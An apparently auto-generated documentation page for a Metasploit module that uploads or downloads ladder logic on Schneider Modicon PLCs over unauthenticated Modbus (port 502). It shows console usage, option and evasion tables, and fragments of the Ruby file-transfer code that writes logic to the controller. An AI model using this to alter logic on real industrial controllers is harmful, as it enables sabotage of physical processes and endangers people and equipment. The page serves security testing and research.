Schneider Modicon Ladder Logic Upload/Download - Metasploit


This page contains detailed information about how to use the auxiliary/admin/scada/modicon_stux_transfer metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Schneider Modicon Ladder Logic Upload/Download
Module: auxiliary/admin/scada/modicon_stux_transfer
Source code: modules/auxiliary/admin/scada/modicon_stux_transfer.rb
Disclosure date: 2012-04-05
Last modification time: 2022-03-10 18:03:35 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 502
List of CVEs: -

The Schneider Modicon with Unity series of PLCs use Modbus function code 90 (0x5a) to send and receive ladder logic. The protocol is unauthenticated, and allows a rogue host to retrieve the existing logic and to upload new logic. Two modes are supported: "SEND" and "RECV," which behave as one might expect -- use 'set mode ACTIONAME' to use either mode of operation. In either mode, FILENAME must be set to a valid path to an existing file (for SENDing) or a new file (for RECVing), and the directory must already exist. The default, 'modicon_ladder.apx' is a blank ladder logic file which can be used for testing. This module is based on the original 'modiconstux.rb' Basecamp module from DigitalBond.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use auxiliary/admin/scada/modicon_stux_transfer
msf auxiliary(modicon_stux_transfer) > show targets
    ... a list of targets ...
msf auxiliary(modicon_stux_transfer) > set TARGET target-id
msf auxiliary(modicon_stux_transfer) > show options
    ... show and set options ...
msf auxiliary(modicon_stux_transfer) > exploit

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Go back to menu.

Msfconsole Usage


Here is how the admin/scada/modicon_stux_transfer auxiliary module looks in the msfconsole:

msf6 > use auxiliary/admin/scada/modicon_stux_transfer

msf6 auxiliary(admin/scada/modicon_stux_transfer) > show info

       Name: Schneider Modicon Ladder Logic Upload/Download
     Module: auxiliary/admin/scada/modicon_stux_transfer
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-04-05

Provided by:
  K. Reid Wightman <[email protected]>
  todb <[email protected]>

Check supported:
  No

Basic options:
  Name      Current Setting                                                                Required  Description
  ----      ---------------                                                                --------  -----------
  FILENAME  /opt/metasploit-framework/embedded/framework/data/exploits/modicon_ladder.apx  yes       The file to send or receive
  MODE      SEND                                                                           yes       File transfer operation (Accepted: SEND, RECV)
  RHOSTS                                                                                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT     502                                                                            yes       The target port (TCP)

Description:
  The Schneider Modicon with Unity series of PLCs use Modbus function 
  code 90 (0x5a) to send and receive ladder logic. The protocol is 
  unauthenticated, and allows a rogue host to retrieve the existing 
  logic and to upload new logic. Two modes are supported: "SEND" and 
  "RECV," which behave as one might expect -- use 'set mode ACTIONAME' 
  to use either mode of operation. In either mode, FILENAME must be 
  set to a valid path to an existing file (for SENDing) or a new file 
  (for RECVing), and the directory must already exist. The default, 
  'modicon_ladder.apx' is a blank ladder logic file which can be used 
  for testing. This module is based on the original 'modiconstux.rb' 
  Basecamp module from DigitalBond.

References:
  http://www.digitalbond.com/tools/basecamp/metasploit-modules/

Module Options


This is a complete list of options available in the admin/scada/modicon_stux_transfer auxiliary module:

msf6 auxiliary(admin/scada/modicon_stux_transfer) > show options

Module options (auxiliary/admin/scada/modicon_stux_transfer):

   Name      Current Setting                                                                Required  Description
   ----      ---------------                                                                --------  -----------
   FILENAME  /opt/metasploit-framework/embedded/framework/data/exploits/modicon_ladder.apx  yes       The file to send or receive
   MODE      SEND                                                                           yes       File transfer operation (Accepted: SEND, RECV)
   RHOSTS                                                                                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT     502                                                                            yes       The target port (TCP)

Advanced Options


Here is a complete list of advanced options supported by the admin/scada/modicon_stux_transfer auxiliary module:

msf6 auxiliary(admin/scada/modicon_stux_transfer) > show advanced

Module advanced options (auxiliary/admin/scada/modicon_stux_transfer):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   CHOST                            no        The local client address
   CPORT                            no        The local client port
   ConnectTimeout  10               yes       Maximum number of seconds to establish a TCP connection
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                        no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode   PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion      Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE         false            no        Enable detailed status messages
   WORKSPACE                        no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the admin/scada/modicon_stux_transfer module can do:

msf6 auxiliary(admin/scada/modicon_stux_transfer) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options


Here is the full list of possible evasion options supported by the admin/scada/modicon_stux_transfer auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(admin/scada/modicon_stux_transfer) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

FILENAME invalid: <VALUE>


Here is a relevant code snippet related to the "FILENAME invalid: <VALUE>" error message:

59:	
60:	  end
61:	
62:	  def run
63:	    unless valid_filename?
64:	      print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"
65:	      return nil
66:	    end
67:	    @modbuscounter = 0x0000 # used for modbus frames
68:	    connect
69:	    init

<RHOST>:<RPORT> - MODBUS - Packet too large: <PACKETDATA.INSPECT>


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - MODBUS - Packet too large: <PACKETDATA.INSPECT>" error message:

85:	
86:	  # this is used for building a Modbus frame
87:	  # just prepends the payload with a modbus header
88:	  def makeframe(packetdata)
89:	    if packetdata.size > 255
90:	      print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")
91:	      return
92:	    end
93:	    payload = ""
94:	    payload += [@modbuscounter].pack("n")
95:	    payload += "\x00\x00\x00" #dunno what these are

<RHOST>:<RPORT> - MODBUS - File too large, aborting.


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - MODBUS - File too large, aborting." error message:

190:	    print_status "#{rhost}:#{rport} - MODBUS - Sending write request"
191:	    blocksize = 244	# bytes per block in file transfer
192:	    buf = File.open(datastore['FILENAME'], 'rb') { |io| io.read }
193:	    fullblocks = buf.length / blocksize
194:	    if fullblocks > 255
195:	      print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")
196:	      return
197:	    end
198:	    lastblocksize = buf.length - (blocksize*fullblocks)
199:	    fileblocks = fullblocks
200:	    if lastblocksize != 0

<RHOST>:<RPORT> - MODBUS - Write request error. Aborting.


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - MODBUS - Write request error. Aborting." error message:

224:	    payload += filenum
225:	    response = sendframe(makeframe(payload))
226:	    if response[8..9] == "\x01\xfe"
227:	      print_status("#{rhost}:#{rport} - MODBUS - Write request success!  Writing file...")
228:	    else
229:	      print_error("#{rhost}:#{rport} - MODBUS - Write request error.  Aborting.")
230:	      return
231:	    end
232:	    payload = "\x00\x5a\x01\x04"
233:	    sendframe(makeframe(payload))
234:	    block = 1

<RHOST>:<RPORT> - MODBUS - Failure writing block <BLOCK>


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - MODBUS - Failure writing block <BLOCK>" error message:

240:	      payload += "\x00\xf4\x00"
241:	      payload += buf[((block - 1) * 244)..((block * 244) - 1)]
242:	      res = sendframe(makeframe(payload))
243:	      vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
244:	      if res[8..9] != "\x01\xfe"
245:	        print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block}")
246:	        return
247:	      end
248:	      # redo this iteration of the loop if we're on block 2
249:	      if block2status == 0 and block == 2
250:	        print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")

<RHOST>:<RPORT> - MODBUS - Failure writing last block


Here is a relevant code snippet related to the "<RHOST>:<RPORT> - MODBUS - Failure writing last block" error message:

260:	      payload += "\x00" + [lastblocksize].pack("c") + "\x00"
261:	      payload += buf[((block-1) * 244)..(((block-1) * 244) + lastblocksize)]
262:	      vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
263:	      res = sendframe(makeframe(payload))
264:	      if res[8..9] != "\x01\xfe"
265:	        print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")
266:	        return
267:	      end
268:	    end
269:	    vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"
270:	    payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x00"

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • K. Reid Wightman <wightman[at]digitalbond.com>
  • todb

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.